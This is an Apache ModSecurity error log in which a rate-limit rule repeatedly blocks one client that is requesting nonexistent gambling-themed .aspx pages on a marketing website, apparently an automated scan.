[Sun Apr 05 09:44:29.689107 2026] [:error] [pid 45409:tid 45433] [client 217.182.195.126:44386] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adG-fdHt_Oyw03gjCNhMsAAAANY"]
[Sun Apr 05 09:44:30.480188 2026] [:error] [pid 30921:tid 30929] [client 217.182.195.126:44400] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adG-fmFGQVn8Q0ueB27LwAAAAQY"]
[Sun Apr 05 09:44:32.199336 2026] [:error] [pid 30921:tid 30928] [client 217.182.195.126:44408] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adG-gGFGQVn8Q0ueB27LwwAAAQU"]
[Sun Apr 05 09:44:33.682567 2026] [:error] [pid 45409:tid 45413] [client 217.182.195.126:44412] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adG-gdHt_Oyw03gjCNhMuwAAAMI"]
[Sun Apr 05 09:44:34.788307 2026] [:error] [pid 45409:tid 45411] [client 217.182.195.126:44414] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adG-gtHt_Oyw03gjCNhMwAAAAMA"]
[Sun Apr 05 09:44:36.080797 2026] [:error] [pid 45409:tid 45428] [client 217.182.195.126:38818] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adG-hNHt_Oyw03gjCNhMywAAANE"]
[Sun Apr 05 09:44:37.548359 2026] [:error] [pid 30921:tid 30937] [client 217.182.195.126:38828] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adG-hWFGQVn8Q0ueB27LyQAAAQ4"]
[Sun Apr 05 09:44:39.026921 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:38832] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adG-h2FGQVn8Q0ueB27L0gAAAQg"]
[Sun Apr 05 09:44:40.074635 2026] [:error] [pid 45303:tid 45340] [client 217.182.195.126:38840] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adG-iLboQ9eViZ4hdnnObQAAABc"]
[Sun Apr 05 09:44:41.724819 2026] [:error] [pid 45409:tid 45433] [client 217.182.195.126:38850] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adG-idHt_Oyw03gjCNhM4AAAANY"]
[Sun Apr 05 09:44:43.109483 2026] [:error] [pid 45409:tid 45419] [client 217.182.195.126:38864] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adG-i9Ht_Oyw03gjCNhM5wAAAMg"]
[Sun Apr 05 09:44:44.461677 2026] [:error] [pid 30921:tid 30934] [client 217.182.195.126:38880] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adG-jGFGQVn8Q0ueB27L7QAAAQs"]
[Sun Apr 05 09:44:46.409588 2026] [:error] [pid 30921:tid 30935] [client 217.182.195.126:37890] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adG-jmFGQVn8Q0ueB27L9QAAAQw"]
[Sun Apr 05 09:44:47.364798 2026] [:error] [pid 45409:tid 45425] [client 217.182.195.126:37900] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adG-j9Ht_Oyw03gjCNhM9QAAAM4"]
[Sun Apr 05 09:44:49.012309 2026] [:error] [pid 45409:tid 45417] [client 217.182.195.126:37908] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adG-kdHt_Oyw03gjCNhM-QAAAMY"]
[Sun Apr 05 09:44:50.590279 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:37924] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adG-kmFGQVn8Q0ueB27MAgAAAQg"]
[Sun Apr 05 09:44:51.626583 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:37928] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adG-k-jDQjr7aWhjflDLjAAAAIo"]
[Sun Apr 05 09:44:53.117780 2026] [:error] [pid 45304:tid 45363] [client 217.182.195.126:37934] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adG-lQ5jnqDKKovdRklF-wAAAFM"]
[Sun Apr 05 09:44:54.104756 2026] [:error] [pid 45305:tid 45389] [client 217.182.195.126:37950] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adG-lujDQjr7aWhjflDLmAAAAJI"]
[Sun Apr 05 09:44:55.812027 2026] [:error] [pid 45303:tid 45317] [client 217.182.195.126:52714] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adG-l7boQ9eViZ4hdnnOhQAAAAA"]
[Sun Apr 05 09:44:56.596296 2026] [:error] [pid 45305:tid 45392] [client 217.182.195.126:52722] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adG-mOjDQjr7aWhjflDLogAAAJU"]
[Sun Apr 05 09:44:59.012642 2026] [:error] [pid 45305:tid 45392] [client 217.182.195.126:52736] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adG-m-jDQjr7aWhjflDLsAAAAJU"]
[Sun Apr 05 09:44:59.407739 2026] [:error] [pid 45305:tid 45376] [client 217.182.195.126:52742] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adG-m-jDQjr7aWhjflDLsgAAAIU"]
[Sun Apr 05 09:45:01.633191 2026] [:error] [pid 30921:tid 30937] [client 217.182.195.126:52746] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adG-nWFGQVn8Q0ueB27MGQAAAQ4"]
[Sun Apr 05 09:45:02.021621 2026] [:error] [pid 45305:tid 45392] [client 217.182.195.126:52762] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adG-nujDQjr7aWhjflDLvQAAAJU"]
[Sun Apr 05 09:45:04.507222 2026] [:error] [pid 45304:tid 45361] [client 217.182.195.126:52772] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adG-oA5jnqDKKovdRklGBgAAAFE"]
[Sun Apr 05 09:45:04.591752 2026] [:error] [pid 45304:tid 45362] [client 217.182.195.126:52768] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adG-oA5jnqDKKovdRklGBwAAAFI"]
[Sun Apr 05 09:45:17.956709 2026] [:error] [pid 30921:tid 30931] [client 217.182.195.126:57778] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adG-rWFGQVn8Q0ueB27MTgAAAQg"]
[Sun Apr 05 09:45:18.332900 2026] [:error] [pid 30921:tid 30933] [client 217.182.195.126:57764] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adG-rmFGQVn8Q0ueB27MUQAAAQo"]
[Sun Apr 05 09:45:20.616496 2026] [:error] [pid 45409:tid 45428] [client 217.182.195.126:53036] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adG-sNHt_Oyw03gjCNhNRQAAANE"]
[Sun Apr 05 09:45:21.197732 2026] [:error] [pid 45305:tid 45389] [client 217.182.195.126:53038] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adG-sejDQjr7aWhjflDL6AAAAJI"]
[Sun Apr 05 09:45:23.515844 2026] [:error] [pid 45305:tid 45384] [client 217.182.195.126:53046] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adG-s-jDQjr7aWhjflDL6gAAAI0"]
[Sun Apr 05 09:45:23.714966 2026] [:error] [pid 30921:tid 30947] [client 217.182.195.126:53044] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adG-s2FGQVn8Q0ueB27MWgAAARg"]
[Sun Apr 05 09:45:26.042312 2026] [:error] [pid 45305:tid 45393] [client 217.182.195.126:50902] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adG-tujDQjr7aWhjflDL8gAAAJY"]
[Sun Apr 05 09:45:26.654749 2026] [:error] [pid 45305:tid 45375] [client 217.182.195.126:50916] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adG-tujDQjr7aWhjflDL9QAAAIQ"]
[Sun Apr 05 09:45:28.540508 2026] [:error] [pid 45305:tid 45390] [client 217.182.195.126:50924] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adG-uOjDQjr7aWhjflDL_QAAAJM"]
[Sun Apr 05 09:45:29.078393 2026] [:error] [pid 45409:tid 45425] [client 217.182.195.126:50932] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adG-udHt_Oyw03gjCNhNYgAAAM4"]
[Sun Apr 05 09:45:31.199693 2026] [:error] [pid 45409:tid 45411] [client 217.182.195.126:50936] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adG-u9Ht_Oyw03gjCNhNagAAAMA"]
[Sun Apr 05 09:45:31.623372 2026] [:error] [pid 45305:tid 45389] [client 217.182.195.126:50950] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adG-u-jDQjr7aWhjflDMBgAAAJI"]
[Sun Apr 05 09:45:33.689654 2026] [:error] [pid 30921:tid 30947] [client 217.182.195.126:50962] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adG-vWFGQVn8Q0ueB27MbwAAARg"]
[Sun Apr 05 09:45:34.355799 2026] [:error] [pid 45304:tid 45362] [client 217.182.195.126:50972] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adG-vg5jnqDKKovdRklGJAAAAFI"]
[Sun Apr 05 09:45:36.146463 2026] [:error] [pid 45305:tid 45381] [client 217.182.195.126:50534] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adG-wOjDQjr7aWhjflDMFQAAAIo"]
[Sun Apr 05 09:45:36.833287 2026] [:error] [pid 45305:tid 45380] [client 217.182.195.126:50548] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adG-wOjDQjr7aWhjflDMGgAAAIk"]
[Sun Apr 05 09:45:38.652502 2026] [:error] [pid 45303:tid 45341] [client 217.182.195.126:50554] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adG-wrboQ9eViZ4hdnnOxAAAABg"]
[Sun Apr 05 09:45:39.408021 2026] [:error] [pid 45409:tid 45427] [client 217.182.195.126:50560] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adG-w9Ht_Oyw03gjCNhNgwAAANA"]
[Sun Apr 05 09:45:41.249247 2026] [:error] [pid 45409:tid 45433] [client 217.182.195.126:50566] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adG-xdHt_Oyw03gjCNhNjQAAANY"]
[Sun Apr 05 09:45:41.768000 2026] [:error] [pid 45409:tid 45432] [client 217.182.195.126:50578] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adG-xdHt_Oyw03gjCNhNkAAAANU"]
[Sun Apr 05 09:45:43.675135 2026] [:error] [pid 45305:tid 45388] [client 217.182.195.126:50594] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adG-x-jDQjr7aWhjflDMMAAAAJE"]
[Sun Apr 05 09:45:44.427927 2026] [:error] [pid 45303:tid 45328] [client 217.182.195.126:50604] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adG-yLboQ9eViZ4hdnnO0gAAAAs"]
[Sun Apr 05 09:45:46.374697 2026] [:error] [pid 45409:tid 45411] [client 217.182.195.126:56248] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adG-ytHt_Oyw03gjCNhNlAAAAMA"]
[Sun Apr 05 09:45:46.988694 2026] [:error] [pid 45409:tid 45421] [client 217.182.195.126:56264] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adG-ytHt_Oyw03gjCNhNlgAAAMo"]
[Sun Apr 05 09:45:48.790999 2026] [:error] [pid 30921:tid 30932] [client 217.182.195.126:56266] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adG-zGFGQVn8Q0ueB27MmgAAAQk"]
[Sun Apr 05 09:45:49.361867 2026] [:error] [pid 45304:tid 45359] [client 217.182.195.126:56282] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adG-zQ5jnqDKKovdRklGQQAAAE8"]
[Sun Apr 05 09:45:51.341843 2026] [:error] [pid 30921:tid 30925] [client 217.182.195.126:56286] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adG-z2FGQVn8Q0ueB27MowAAAQI"]
